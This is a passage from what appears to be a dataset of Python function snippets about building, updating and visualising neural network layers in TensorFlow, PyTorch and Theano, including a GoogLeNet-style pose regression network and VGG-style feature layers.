self.prior_generator.strides])\",\n \"def predict_visualize_layers(self, X):\\n\\n if isinstance(X, np.ndarray):\\n X = np.reshape(X, (X.shape[0], X.shape[1], X.shape[2], 1))\\n elif isinstance(X, tf.data.Dataset):\\n X = X.map(self._reshape)\\n\\n for x, y in X:\\n x = tf.expand_dims(x, 0)\\n\\n plt.title(\\\"Test Sample Input\\\")\\n plt.grid(False)\\n plt.imshow(x[0, :, :, 0], aspect='auto', cmap='plasma', origin='lower')\\n plt.colorbar()\\n plt.show()\\n\\n layer_outputs = [layer.output for layer in self.model.layers]\\n visualisation_model = tf.keras.models.Model(inputs=self.model.input, outputs=layer_outputs)\\n\\n visualisations = visualisation_model.predict(x)\\n\\n images_per_row = 4\\n\\n for layer_name, layer_activation in zip(map(lambda x : x.name, layer_outputs[:3]), visualisations[:3]):\\n n_features = layer_activation.shape[-1]\\n size = layer_activation.shape[1:3]\\n n_cols = n_features // images_per_row\\n grid = np.zeros((size[0] * n_cols, images_per_row * size[1]))\\n\\n for col in range(n_cols):\\n for row in range(images_per_row):\\n channel_image = layer_activation[0, :, :, col * images_per_row + row]\\n channel_image -= channel_image.mean()\\n channel_image /= channel_image.std()\\n channel_image *= 64\\n channel_image += 128\\n channel_image = np.clip(channel_image, 0, 255).astype('uint8')\\n grid[col * size[0]: (col + 1) * size[0], row * size[1]: (row + 1) * size[1]] = channel_image\\n\\n plt.figure(figsize=(1. / size[0] * grid.shape[1], 3. / size[1] * grid.shape[0]))\\n plt.title(layer_name)\\n plt.grid(False)\\n plt.imshow(grid, aspect='auto', cmap='plasma', origin='lower')\\n plt.colorbar()\\n plt.show()\\n\\n pred = np.argmax(visualisations[-1])\\n print(f\\\"Predicted class: {Genre(pred)} with probability {visualisations[-1][0][pred]}\\\\n\\\"\\n + f\\\"Actual class: {Genre(y)}\\\")\",\n \"def update_layers(self):\\n\\n # Para cada layer atualiza utilizando o gradiente descendente e o learning rate\\n for layer in self.layers:\\n layer.update_layer(self.learning_rate)\",\n \"def build_dense_network(data, hidden_layers, **kwargs):\\n # Input layer\\n with tf.variable_scope(\\\"layer_1\\\"): \\n weights = tf.get_variable(\\\"weights\\\", shape = [input_shape[-1] + 1\\n , hidden_layers[0]], initializer = tf.variance_scaling_initializer())\\n\\n output = tf.nn.leaky_relu(tf.matmul(tf.concat([data, tf.ones(dtype = tf.float32\\n , shape = (tf.shape(data)[0], 1))], axis = 1) # concat\\n , weights, name = \\\"multiply\\\") # matmul\\n , α, name = \\\"output\\\") # leaky relu\\n\\n # DROP-OUT after the activation func\\n output = tf.nn.dropout(output, keep_prob=δ, name = \\\"output\\\") \\n\\n # Hidden layers 1 to len(hidden_layers) - 1\\n for i in range(2, len(hidden_layers)-1+2):\\n\\n with tf.variable_scope(f\\\"layer_{i}\\\"):\\n n_nodes = hidden_layers[i-1]\\n\\n weights = tf.get_variable(\\\"weights\\\", shape = [hidden_layers[i-2]+1, hidden_layers[i-1]], initializer = tf.variance_scaling_initializer())\\n output = tf.nn.leaky_relu(tf.matmul(tf.concat([output, tf.ones(dtype = tf.float32, shape = (tf.shape(data)[0], 1))], axis = 1), weights, name = \\\"multiply\\\"), α, name = \\\"output\\\")\\n\\n # DROP-OUT after the activation func\\n output = tf.nn.dropout(output, keep_prob=δ, name = \\\"output\\\") \\n\\n # Output layer\\n with tf.variable_scope(f\\\"layer_{len(hidden_layers)+1}\\\"):\\n\\n weights = tf.get_variable(\\\"weights\\\", shape = (hidden_layers[1]+1, n_summaries), initializer = tf.variance_scaling_initializer())\\n output = tf.identity(tf.matmul(tf.concat([output, tf.ones(dtype = tf.float32, shape = (tf.shape(data)[0], 1))], axis = 1), weights, name = \\\"multiply\\\"), name = \\\"output\\\")\\n # NO DROP-OUT in the last layer\\n\\n\\n return output\",\n \"def __init__(self, weights, alphas):\\n self._neurons = [Neuron(a, w) for w, a in zip(weights, alphas)]\",\n \"def lenet_network(name, input_shape, output_count):\\n network = NeuralNetwork(name, input_shape, output_count)\\n\\n # normal distribution parameters for random weights\\n mean = 0.0\\n stddev = 0.1\\n\\n # General convolution shapes and parameters common to all convolutional layers\\n conv_stride_shape = (1, 1)\\n conv_pad_shape = (0, 0)\\n conv_pad_type = 'VALID'\\n\\n pool_stride_shape = (2, 2)\\n pool_shape = (2, 2)\\n pool_pad_type = 'VALID'\\n\\n activation = 'relu'\\n\\n # Kernel depths and sizes for each convolution layer\\n depths = [6, 16]\\n kernel_shapes = [(5, 5, depths[0]), (5, 5, depths[1])]\\n conv_layer_count = len(depths)\\n\\n # Create convolutional layers\\n conv = None\\n for i in range(conv_layer_count):\\n name = 'l{:d}'.format(i)\\n if i > 0:\\n input_shape = conv.output_shape\\n conv = ConvolutionalLayer(name, input_shape, kernel_shapes[i], conv_stride_shape, \\\\\\n conv_pad_shape, conv_pad_type, activation)\\n conv.add_pooling('max', pool_shape, pool_stride_shape, pool_pad_type)\\n network.add_layer(conv, mean, stddev)\\n\\n # Linear layer dimensions\\n linear_input_sizes = [400, 120, 84]\\n linear_output_sizes = [120, 84, 10]\\n linear_activations = ['relu', 'relu', None]\\n\\n # Create linear layers\\n for i, input_size in enumerate(linear_input_sizes):\\n layer_index = i + conv_layer_count\\n name = 'l{:d}'.format(layer_index)\\n linear = LinearLayer(name, input_size, linear_output_sizes[i], linear_activations[i])\\n linear.init_weights_and_biases(mean, stddev)\\n network.add_layer(linear, mean, stddev)\\n\\n network.define_network()\\n\\n learning_rate = 0.001\\n network.define_operations(learning_rate, 'adam')\\n\\n return network\",\n \"def update_networks(self):\\n\\t\\t# layer 1 update\\n\\t\\tself.W1_tv = tf.assign(self.W1_tv, self.W1_av)\\n\\t\\tself.b1_tv = tf.assign(self.b1_tv, self.b1_av)\\n\\n\\t\\t# layer 2 update\\n\\t\\tself.W2_tv = tf.assign(self.W2_tv, self.W2_av)\\n\\t\\tself.b2_tv = tf.assign(self.b2_tv, self.b2_av)\\n\\n\\t\\t# layer 3 update\\n\\t\\tself.W3_tv = tf.assign(self.W3_tv, self.W3_av)\\n\\t\\tself.b3_tv = tf.assign(self.b3_tv, self.b3_av)\",\n \"def _init_layers(self) -> None:\\n self.convs_all_levels = nn.ModuleList()\\n for i in range(self.start_level, self.end_level + 1):\\n convs_per_level = nn.Sequential()\\n convs_per_level.add_module(\\n f'conv{i}',\\n ConvModule(\\n self.in_channels,\\n self.feat_channels,\\n 3,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg,\\n inplace=False,\\n bias=False))\\n self.convs_all_levels.append(convs_per_level)\\n\\n conv_branch = []\\n for _ in range(self.num_stacked_convs):\\n conv_branch.append(\\n ConvModule(\\n self.feat_channels,\\n self.feat_channels,\\n 3,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg,\\n bias=False))\\n self.conv_branch = nn.Sequential(*conv_branch)\\n\\n self.conv_pred = nn.Conv2d(\\n self.feat_channels, self.out_channels, 1, stride=1)\",\n \"def __init__(self):\\n self.layers = []\\n self.best_loss = None\",\n \"def network(x, FLAGS):\\n\\tconv_out, outsize, nfeatures = hnn.convlayers(x, FLAGS)\\n\\tconv_out_flat = tf.reshape(conv_out, [-1, outsize * outsize * nfeatures])\\n\\ty = hnn.fclayers(conv_out_flat, outsize * outsize * nfeatures, [FLAGS.hidden_layer_size, NUM_CLASSES], FLAGS)\\n\\treturn y\",\n \"def __init__(self, n_input, n_output, hidden_layer_size, reg):\\n self.reg = reg\\n self.fulllayer1 = FullyConnectedLayer(n_input, hidden_layer_size)\\n self.reglayer1 = ReLULayer()\\n self.fulllayer2 = FullyConnectedLayer(hidden_layer_size, n_output)\",\n \"def __init__(self, attribute_size, output_size, n_hidden_layers=2, n_hidden_neurons=30):\\n self.n_hidden_layers = n_hidden_layers\\n self.n_hidden_neurons = n_hidden_neurons\\n self.attribute_size = attribute_size\\n self.output_size = output_size\\n\\n X = T.fmatrix()\\n Y = T.fmatrix()\\n\\n self.w_h = nnet.init_weights((self.attribute_size, self.n_hidden_neurons))\\n self.w_h2 = nnet.init_weights((self.n_hidden_neurons, self.n_hidden_neurons))\\n self.w_o = nnet.init_weights((self.n_hidden_neurons, self.output_size))\\n\\n if self.n_hidden_layers == 2:\\n\\n noise_py_x = nnet.model_reg(X, self.w_h, self.w_h2, self.w_o, 0, 0)\\n py_x = nnet.model_reg(X, self.w_h, self.w_h2, self.w_o, 0, 0)\\n\\n cost = nnet.rmse(noise_py_x, Y)\\n params = [self.w_h, self.w_h2, self.w_o]\\n updates = nnet.RMSprop(cost, params, lr=0.001)\\n\\n self.train = theano.function(inputs=[X, Y], outputs=cost, updates=updates, allow_input_downcast=True)\\n self.predict_ = theano.function(inputs=[X], outputs=py_x, allow_input_downcast=True)\\n\\n elif self.n_hidden_layers == 3:\\n\\n self.w_h3 = nnet.init_weights((self.n_hidden_neurons, self.n_hidden_neurons))\\n\\n noise_py_x = nnet.model_reg3(X, self.w_h, self.w_h2, self.w_h3, self.w_o, 0, 0)\\n py_x = nnet.model_reg3(X, self.w_h, self.w_h2, self.w_h3, self.w_o, 0, 0)\\n\\n cost = nnet.rmse(noise_py_x, Y)\\n params = [self.w_h, self.w_h2, self.w_h3, self.w_o]\\n updates = nnet.RMSprop(cost, params, lr=0.001)\\n\\n self.train = theano.function(inputs=[X, Y], outputs=cost, updates=updates, allow_input_downcast=True)\\n self.predict_ = theano.function(inputs=[X], outputs=py_x, allow_input_downcast=True)\",\n \"def create(self):\\n \\n \\\"\\\"\\\" A solo prepressing reduction network in the head \\\"\\\"\\\"\\n print(\\\"pre_reduction\\\")\\n with tf.name_scope('pre_reduction'):\\n conv1 = NW.conv(self.X, 7, 7, 64, 2, 2, name='conv1')\\n pool1 = NW.max_pool(conv1, 3, 3, 2, 2, name='pool1')\\n norm1 = NW.lrn(pool1, 2, 2e-05, 0.75, name='norm1')\\n reduction2 = NW.conv(norm1, 1, 1, 64, 1, 1, name='reduction2')\\n conv2 = NW.conv(reduction2, 3, 3, 192, 1, 1,name='conv2')\\n norm2 = NW.lrn(conv2, 2, 2e-05, 0.75, name='norm2')\\n pool2 = NW.max_pool(norm2, 3, 3, 2, 2, name='pool2')\\n \\n \\\"\\\"\\\" 1st inception layer group \\\"\\\"\\\"\\n print(\\\"icp1\\\")\\n with tf.name_scope('icp1'):\\n # branch 0\\n icp1_out0 = NW.conv(pool2, 1, 1, 64, 1, 1, name='icp1_out0')\\n # branch 1\\n icp1_reduction1 = NW.conv(pool2, 1, 1, 96, 1, 1, name='icp1_reduction1')\\n icp1_out1 = NW.conv(icp1_reduction1, 3, 3, 128, 1, 1, name='icp1_out1')\\n # branch 2\\n icp1_reduction2 = NW.conv(pool2, 1, 1, 16, 1, 1, name='icp1_reduction2')\\n icp1_out2 = NW.conv(icp1_reduction2, 5, 5, 32, 1, 1, name='icp1_out2')\\n # branch 3\\n icp1_pool = NW.max_pool(pool2, 3, 3, 1, 1, name='icp1_pool')\\n icp1_out3 = NW.conv(icp1_pool, 1, 1, 32, 1, 1, name='icp1_out3')\\n # concat\\n icp2_in = NW.concat([icp1_out0,\\n icp1_out1,\\n icp1_out2,\\n icp1_out3], 3, 'icp2_in')\\n\\n \\\"\\\"\\\" 2nd inception layer group \\\"\\\"\\\"\\n print(\\\"icp2\\\")\\n with tf.name_scope('icp2'):\\n # branch 0\\n icp2_out0 = NW.conv(icp2_in, 1, 1, 128, 1, 1, name='icp2_out0')\\n # branch 1\\n icp2_reduction1 = NW.conv(icp2_in, 1, 1, 128, 1, 1, name='icp2_reduction1')\\n icp2_out1 = NW.conv(icp2_reduction1, 3, 3, 192, 1, 1, name='icp2_out1')\\n # branch 2\\n icp2_reduction2 = NW.conv(icp2_in, 1, 1, 32, 1, 1, name='icp2_reduction2')\\n icp2_out2 = NW.conv(icp2_reduction2, 5, 5, 96, 1, 1, name='icp2_out2')\\n # branch 3\\n icp2_pool = NW.max_pool(icp2_in, 3, 3, 1, 1, name='icp2_pool')\\n icp2_out3 = NW.conv(icp2_pool, 1, 1, 64, 1, 1, name='icp2_out3')\\n # concat\\n icp2_out = NW.concat([icp2_out0,\\n icp2_out1,\\n icp2_out2,\\n icp2_out3], 3, 'icp2_out')\\n \\n \\\"\\\"\\\" 3rd inception layer group \\\"\\\"\\\"\\n print(\\\"icp3\\\")\\n with tf.name_scope('icp3'):\\n icp3_in = NW.max_pool(icp2_out, 3, 3, 2, 2, name='icp3_in')\\n # branch 0\\n icp3_out0 = NW.conv(icp3_in, 1, 1, 192, 1, 1, name='icp3_out0')\\n # branch 1\\n icp3_reduction1 = NW.conv(icp3_in, 1, 1, 96, 1, 1, name='icp3_reduction1')\\n icp3_out1 = NW.conv(icp3_reduction1, 3, 3, 208, 1, 1, name='icp3_out1')\\n # branch 2\\n icp3_reduction2 = NW.conv(icp3_in, 1, 1, 16, 1, 1, name='icp3_reduction2')\\n icp3_out2 = NW.conv(icp3_reduction2, 5, 5, 48, 1, 1, name='icp3_out2')\\n # branch 3\\n icp3_pool = NW.max_pool(icp3_in, 3, 3, 1, 1, name='icp3_pool')\\n icp3_out3 = NW.conv(icp3_pool, 1, 1, 64, 1, 1, name='icp3_out3')\\n # concat\\n icp3_out = NW.concat([icp3_out0,\\n icp3_out1,\\n icp3_out2,\\n icp3_out3], 3, 'icp3_out')\\n \\n \\\"\\\"\\\" 1st classify branch \\\"\\\"\\\"\\n with tf.name_scope('cls1'):\\n cls1_pool = NW.avg_pool(icp3_out, 5, 5, 3, 3, padding='VALID', name='cls1_pool')\\n cls1_reduction_pose = NW.conv(cls1_pool, 1, 1, 128, 1, 1, name='cls1_reduction_pose')\\n cls1_fc1_pose = NW.fc(cls1_reduction_pose, 1024, name='cls1_fc1_pose')\\n cls1_fc_pose_xy = NW.fc(cls1_fc1_pose, 2, relu=False, name='cls1_fc_pose_xy')\\n cls1_fc_pose_ab = NW.fc(cls1_fc1_pose, 2, relu=False, name='cls1_fc_pose_ab')\\n self.layers[\\\"cls1_fc_pose_xy\\\"] = cls1_fc_pose_xy\\n self.layers[\\\"cls1_fc_pose_ab\\\"] = cls1_fc_pose_ab\\n \\n \\\"\\\"\\\" 4st inception layer group \\\"\\\"\\\"\\n print(\\\"icp4\\\")\\n with tf.name_scope('icp4'):\\n # branch 0\\n icp4_out0 = NW.conv(icp3_out, 1, 1, 160, 1, 1, name='icp4_out0')\\n # branch 1\\n icp4_reduction1 = NW.conv(icp3_out, 1, 1, 112, 1, 1, name='icp4_reduction1')\\n icp4_out1 = NW.conv(icp4_reduction1, 3, 3, 224, 1, 1, name='icp4_out1')\\n # branch 2\\n icp4_reduction2 = NW.conv(icp3_out, 1, 1, 24, 1, 1, name='icp4_reduction2')\\n icp4_out2 = NW.conv(icp4_reduction2, 5, 5, 64, 1, 1, name='icp4_out2')\\n # branch 3\\n icp4_pool = NW.max_pool(icp3_out, 3, 3, 1, 1, name='icp4_pool')\\n icp4_out3 = NW.conv(icp4_pool, 1, 1, 64, 1, 1, name='icp4_out3')\\n # concat\\n icp4_out = NW.concat([icp4_out0,\\n icp4_out1,\\n icp4_out2,\\n icp4_out3],3, name='icp4_out')\\n\\n \\\"\\\"\\\" 5st inception layer group \\\"\\\"\\\"\\n print(\\\"icp5\\\")\\n with tf.name_scope('icp5'):\\n # branch 0\\n icp5_out0 = NW.conv(icp4_out, 1, 1, 128, 1, 1, name='icp5_out0')\\n # branch 1\\n icp5_reduction1 = NW.conv(icp4_out, 1, 1, 128, 1, 1, name='icp5_reduction1')\\n icp5_out1 = NW.conv(icp5_reduction1, 3, 3, 256, 1, 1, name='icp5_out1')\\n # branch 2\\n icp5_reduction2 = NW.conv(icp4_out,1, 1, 24, 1, 1, name='icp5_reduction2')\\n icp5_out2 = NW.conv(icp5_reduction2, 5, 5, 64, 1, 1, name='icp5_out2')\\n # branch 3\\n icp5_pool = NW.max_pool(icp4_out,3, 3, 1, 1, name='icp5_pool')\\n icp5_out3 = NW.conv(icp5_pool, 1, 1, 64, 1, 1, name='icp5_out3')\\n # concat\\n icp5_out = NW.concat([icp5_out0, \\n icp5_out1, \\n icp5_out2, \\n icp5_out3], 3, name='icp5_out')\\n \\n \\\"\\\"\\\" 6st inception layer group \\\"\\\"\\\"\\n print(\\\"icp6\\\")\\n with tf.name_scope('icp6'):\\n # branch 0\\n icp6_out0 = NW.conv(icp5_out, 1, 1, 112, 1, 1, name='icp6_out0')\\n # branch 1\\n icp6_reduction1 = NW.conv(icp5_out, 1, 1, 144, 1, 1, name='icp6_reduction1')\\n icp6_out1 = NW.conv(icp6_reduction1, 3, 3, 288, 1, 1, name='icp6_out1')\\n # branch 2\\n icp6_reduction2 = NW.conv(icp5_out, 1, 1, 32, 1, 1, name='icp6_reduction2')\\n icp6_out2 = NW.conv(icp6_reduction2, 5, 5, 64, 1, 1, name='icp6_out2')\\n # branch 3\\n icp6_pool = NW.max_pool(icp5_out,3, 3, 1, 1, name='icp6_pool')\\n icp6_out3 = NW.conv(icp6_pool, 1, 1, 64, 1, 1, name='icp6_out3')\\n # concat\\n icp6_out = NW.concat([icp6_out0,\\n icp6_out1,\\n icp6_out2,\\n icp6_out3], 3, name='icp6_out')\\n\\n \\\"\\\"\\\" 2nd classify branch \\\"\\\"\\\"\\n with tf.name_scope('cls2'):\\n cls2_pool = NW.avg_pool(icp6_out, 5, 5, 3, 3, padding='VALID', name='cls2_pool')\\n cls2_reduction_pose = NW.conv(cls2_pool, 1, 1, 128, 1, 1, name='cls2_reduction_pose')\\n cls2_fc1 = NW.fc(cls2_reduction_pose, 1024, name='cls2_fc1')\\n cls2_fc_pose_xy = NW.fc(cls2_fc1, 2, relu=False, name='cls2_fc_pose_xy')\\n cls2_fc_pose_ab = NW.fc(cls2_fc1, 2, relu=False, name='cls2_fc_pose_ab')\\n self.layers[\\\"cls2_fc_pose_xy\\\"] = cls2_fc_pose_xy\\n self.layers[\\\"cls2_fc_pose_ab\\\"] = cls2_fc_pose_ab\\n\\n \\\"\\\"\\\" 7st inception layer group \\\"\\\"\\\"\\n print(\\\"icp7\\\")\\n with tf.name_scope('icp7'):\\n # branch 0\\n icp7_out0 = NW.conv(icp6_out, 1, 1, 256, 1, 1, name='icp7_out0')\\n # branch 1\\n icp7_reduction1 = NW.conv(icp6_out, 1, 1, 160, 1, 1, name='icp7_reduction1')\\n icp7_out1 = NW.conv(icp7_reduction1, 3, 3, 320, 1, 1, name='icp7_out1')\\n # branch 2\\n icp7_reduction2 = NW.conv(icp6_out, 1, 1, 32, 1, 1, name='icp7_reduction2')\\n icp7_out2 = NW.conv(icp7_reduction2, 5, 5, 128, 1, 1, name='icp7_out2')\\n # branch 3\\n icp7_pool = NW.max_pool(icp6_out, 3, 3, 1, 1, name='icp7_pool')\\n icp7_out3 = NW.conv(icp7_pool, 1, 1, 128, 1, 1, name='icp7_out3')\\n # concat\\n icp7_out = NW.concat([icp7_out0,\\n icp7_out1,\\n icp7_out2,\\n icp7_out3], 3, name='icp7_out')\\n\\n \\\"\\\"\\\" 8st inception layer group \\\"\\\"\\\"\\n print(\\\"icp8\\\")\\n with tf.name_scope('icp8'):\\n icp8_in = NW.max_pool(icp7_out, 3, 3, 2, 2, name='icp8_in')\\n # branch 0\\n icp8_out0 = NW.conv(icp8_in, 1, 1, 256, 1, 1, name='icp8_out0')\\n # branch 1\\n icp8_reduction1 = NW.conv(icp8_in, 1, 1, 160, 1, 1, name='icp8_reduction1')\\n icp8_out1 = NW.conv(icp8_reduction1, 3, 3, 320, 1, 1, name='icp8_out1')\\n # branch 2\\n icp8_reduction2 = NW.conv(icp8_in, 1, 1, 32, 1, 1, name='icp8_reduction2')\\n icp8_out2 = NW.conv(icp8_reduction2, 5, 5, 128, 1, 1, name='icp8_out2')\\n # branch 3\\n icp8_pool = NW.max_pool(icp8_in, 3, 3, 1, 1, name='icp8_pool')\\n icp8_out3 = NW.conv(icp8_pool, 1, 1, 128, 1, 1, name='icp8_out3')\\n # concat\\n icp8_out = NW.concat([icp8_out0,\\n icp8_out1,\\n icp8_out2,\\n icp8_out3], 3, name='icp8_out')\\n \\n \\\"\\\"\\\" 9st inception layer group \\\"\\\"\\\"\\n print(\\\"icp9\\\")\\n with tf.name_scope('icp9'):\\n # branch 0\\n icp9_out0 = NW.conv(icp8_out, 1, 1, 384, 1, 1, name='icp9_out0')\\n # branch 1\\n icp9_reduction1 = NW.conv(icp8_out, 1, 1, 192, 1, 1, name='icp9_reduction1')\\n icp9_out1 = NW.conv(icp9_reduction1, 3, 3, 384, 1, 1, name='icp9_out1')\\n # branch 2\\n icp9_reduction2 = NW.conv(icp8_out, 1, 1, 48, 1, 1, name='icp9_reduction2')\\n icp9_out2 = NW.conv(icp9_reduction2, 5, 5, 128, 1, 1, name='icp9_out2')\\n # branch 3\\n icp9_pool = NW.max_pool(icp8_out, 3, 3, 1, 1, name='icp9_pool')\\n icp9_out3 = NW.conv(icp9_pool, 1, 1, 128, 1, 1, name='icp9_out3')\\n # concat\\n icp9_out = NW.concat([icp9_out0,\\n icp9_out1,\\n icp9_out2,\\n icp9_out3], 3, name='icp9_out')\\n\\n \\\"\\\"\\\" 3rd classify branch \\\"\\\"\\\"\\n with tf.name_scope('cls3'):\\n cls3_pool = NW.avg_pool(icp9_out, 7, 7, 1, 1, padding='VALID', name='cls3_pool')\\n cls3_fc1_pose = NW.fc(cls3_pool, 2048, name='cls3_fc1_pose')\\n cls3_fc_pose_xy = NW.fc(cls3_fc1_pose, 2, relu=False, name='cls3_fc_pose_xy')\\n cls3_fc_pose_ab = NW.fc(cls3_fc1_pose, 2, relu=False, name='cls3_fc_pose_ab')\\n self.layers[\\\"cls3_fc_pose_xy\\\"] = cls3_fc_pose_xy\\n self.layers[\\\"cls3_fc_pose_ab\\\"] = cls3_fc_pose_ab\",\n \"def __init__(self, output_layer_idx=23, min_val=-1.0, max_val=1.0):\\n sequence = OrderedDict({\\n 'layer0': nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1),\\n 'layer1': nn.ReLU(inplace=True),\\n 'layer2': nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1),\\n 'layer3': nn.ReLU(inplace=True),\\n 'layer4': nn.MaxPool2d(kernel_size=2, stride=2),\\n 'layer5': nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1),\\n 'layer6': nn.ReLU(inplace=True),\\n 'layer7': nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1),\\n 'layer8': nn.ReLU(inplace=True),\\n 'layer9': nn.MaxPool2d(kernel_size=2, stride=2),\\n 'layer10': nn.Conv2d(128, 256, kernel_size=3, stride=1, padding=1),\\n 'layer11': nn.ReLU(inplace=True),\\n 'layer12': nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1),\\n 'layer13': nn.ReLU(inplace=True),\\n 'layer14': nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1),\\n 'layer15': nn.ReLU(inplace=True),\\n 'layer16': nn.MaxPool2d(kernel_size=2, stride=2),\\n 'layer17': nn.Conv2d(256, 512, kernel_size=3, stride=1, padding=1),\\n 'layer18': nn.ReLU(inplace=True),\\n 'layer19': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\\n 'layer20': nn.ReLU(inplace=True),\\n 'layer21': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\\n 'layer22': nn.ReLU(inplace=True),\\n 'layer23': nn.MaxPool2d(kernel_size=2, stride=2),\\n 'layer24': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\\n 'layer25': nn.ReLU(inplace=True),\\n 'layer26': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\\n 'layer27': nn.ReLU(inplace=True),\\n 'layer28': nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),\\n 'layer29': nn.ReLU(inplace=True),\\n 'layer30': nn.MaxPool2d(kernel_size=2, stride=2),\\n })\\n self.output_layer_idx = output_layer_idx\\n self.min_val = min_val\\n self.max_val = max_val\\n self.mean = torch.from_numpy(np.array(_MEAN_STATS)).view(1, 3, 1, 1)\\n self.mean = self.mean.type(torch.FloatTensor)\\n super().__init__(sequence)\",\n \"def __init__(self,n_layers=5,nodes=[4,5,4,5,2]):\\n self.node_list=[]\\n self.l=n_layers\\n self.node_list=nodes\\n self.batch_size=1\\n self.W=[]\\n self.ZL=[] #output of each layer\\n self.OL=[]\\n for i in range(len(self.node_list)-1):\\n w_temp=np.random.random((self.node_list[i],self.node_list[i+1],2))\\n self.W.append(w_temp)\\n #print(self.W) \\n \\n \\n\\n #print(\\\"mdo\\\",self.ZL)\",\n \"def SRCNNv2(input_shape, depth_multiplier=1, multi_output=False):\\n inputs = Input(input_shape, name=\\\"inputs\\\")\\n conv1 = Convolution2D(filters=64, kernel_size=9, padding=\\\"same\\\", name=\\\"conv1\\\", activation=\\\"relu\\\")(inputs)\\n conv2 = Convolution2D(filters=64, kernel_size=7, padding=\\\"same\\\", name=\\\"conv2\\\", activation=\\\"relu\\\")(conv1)\\n #conv3 = Convolution2D(filters=64, kernel_size=3, padding=\\\"same\\\", name=\\\"conv3\\\", activation=\\\"relu\\\")(conv2)\\n\\n mapping = Convolution2D(filters=32, kernel_size=5, padding=\\\"same\\\", name=\\\"mapping\\\", activation=\\\"relu\\\")(conv2)\\n #mapping2 = Convolution2D(filters=16, kernel_size=7, padding=\\\"same\\\", name=\\\"mapping2\\\", activation=\\\"relu\\\")(mapping)\\n \\n \\n if multi_output:\\n out = Convolution2D(filters=2, kernel_size=5, padding=\\\"same\\\", name=\\\"output\\\", activation=\\\"sigmoid\\\")(mapping)\\n else:\\n out = Convolution2D(filters=1, kernel_size=5, padding=\\\"same\\\", name=\\\"output\\\", activation=\\\"sigmoid\\\")(mapping)\\n return Model(inputs, out)\",\n \"def encoder_net_func(num_layer, net_type='cnn'):\\n ec_funct = []\\n for i in range(num_layer):\\n ec_funct.append(net_type)\\n ec_funct.append('mlp')\\n\\n dc_funct = copy.deepcopy(ec_funct)\\n dc_funct.reverse()\\n\\n return ec_funct, dc_funct\",\n \"def _statistics_network(self, inputs, reuse=False):\\n # Hidden layers.\\n last_layer = inputs\\n t_hidden = []\\n for i in range(self.num_layers-1):\\n with tf.variable_scope('hidden_%d' % (i), reuse=reuse):\\n hidden = layers.fully_connected(last_layer, \\n self._layer_sizes[i], activation_fn=tf.nn.elu)\\n t_hidden.append(hidden)\\n last_layer = hidden\\n\\n # Output layer.\\n with tf.variable_scope(\\\"output\\\", reuse=reuse):\\n t_outputs = layers.fully_connected(last_layer, 1,\\n activation_fn=None)\\n\\n return [t_hidden, t_outputs]\",\n \"def __init__(\\n self,\\n numpy_rng,\\n train_set_x,\\n train_set_y,\\n hidden_layers_sizes,\\n n_ins=784,\\n n_outs=10\\n ):\\n\\n self.sigmoid_layers = []\\n self.AE_layers = []\\n self.params = []\\n self.n_layers = len(hidden_layers_sizes)\\n self.train_set_x = train_set_x\\n self.train_set_y = train_set_y\\n\\n assert self.n_layers > 0\\n\\n self.x = T.matrix('x') # the data is presented as rasterized images\\n self.y = T.ivector('y') # the labels are presented as 1D vector of\\n\\n for i in xrange(self.n_layers): # used to be n layers\\n\\n # construct the sigmoid layer = encoder stack\\n if i == 0:\\n layer_input = self.x\\n else:\\n layer_input = self.sigmoid_layers[-1].output\\n\\n sigmoid_layer = HiddenLayer(rng=numpy_rng,\\n input=layer_input,\\n n_in=(n_ins if i == 0 else\\n hidden_layers_sizes[i-1]),\\n n_out=hidden_layers_sizes[i],\\n activation=T.nnet.sigmoid)\\n\\n # add the layer to our list of layers\\n self.sigmoid_layers.append(sigmoid_layer)\\n self.params.extend(sigmoid_layer.params)\\n\\n # init the DA_layer, takes weights from sigmoid layer\\n AE_layer = AutoEncoder(\\n numpy_rng=numpy_rng,\\n input=layer_input,\\n n_visible=(n_ins if i == 0 else hidden_layers_sizes[i-1]),\\n n_hidden=hidden_layers_sizes[i],\\n W=sigmoid_layer.W,\\n bhid=sigmoid_layer.b)\\n\\n self.AE_layers.append(AE_layer)\\n\\n # on top of the layers\\n # log layer for fine-tuning\\n self.logLayer = LogisticRegression(\\n input=self.sigmoid_layers[-1].output,\\n n_in=hidden_layers_sizes[-1],\\n n_out=n_outs\\n )\\n self.params.extend(self.logLayer.params)\\n self.finetune_cost = self.logLayer.negative_log_likelihood(self.y)\\n self.errors = self.logLayer.errors(self.y)\",\n \"def group_layers(inputs, outputs, biases, connections, nodes):\\n layers = []\\n s = set(inputs + biases)\\n while True:\\n # Find candidate nodes c for the next layer. These nodes should connect\\n # a node in s to a node not in s.\\n c = set(b for (a, b) in connections if (a in s) and (b not in s))\\n # Keep only the used nodes whose entire input set is contained in s.\\n t = set()\\n for n in c:\\n if all(a in s for (a, b) in connections if b == n):\\n t.add(n)\\n\\n if not t:\\n break\\n\\n layers.append(t)\\n s = s.union(t)\\n\\n return layers\",\n \"def layer_compare(accuracy_layer_numbers):\\n width = np.linspace(3, 12, 10, dtype=int)\\n layer = np.linspace(1, 9, 9, dtype=int)\\n accurs = np.ones([10, 9], dtype=float)\\n\\n for m in range(10):\\n for n in range(9):\\n accurs[m][n] = accuracy_layer_numbers[(width[m], layer[n])]\\n\\n linecolor = ['gold', 'red', 'green', 'springgreen', 'black', 'blue', 'cyan', 'blueviolet', 'magenta', 'navy']\\n\\n layer_show_3D(layer, width, accurs,\\n title='不同数目卷积层和卷积核宽度的分类准确率',\\n path='E:/JackokiePapers/figures/chapter_5/fig_5_1.png')\\n\\n layer_hot_map(layer, width, accurs,\\n colormap=cm.rainbow,\\n path='E:/JackokiePapers/figures/chapter_5/fig_5_2.png')\\n\\n layer_show_2D(layer, width, accurs, [0, 72],\\n linecolor=linecolor,\\n mean_show=True,\\n 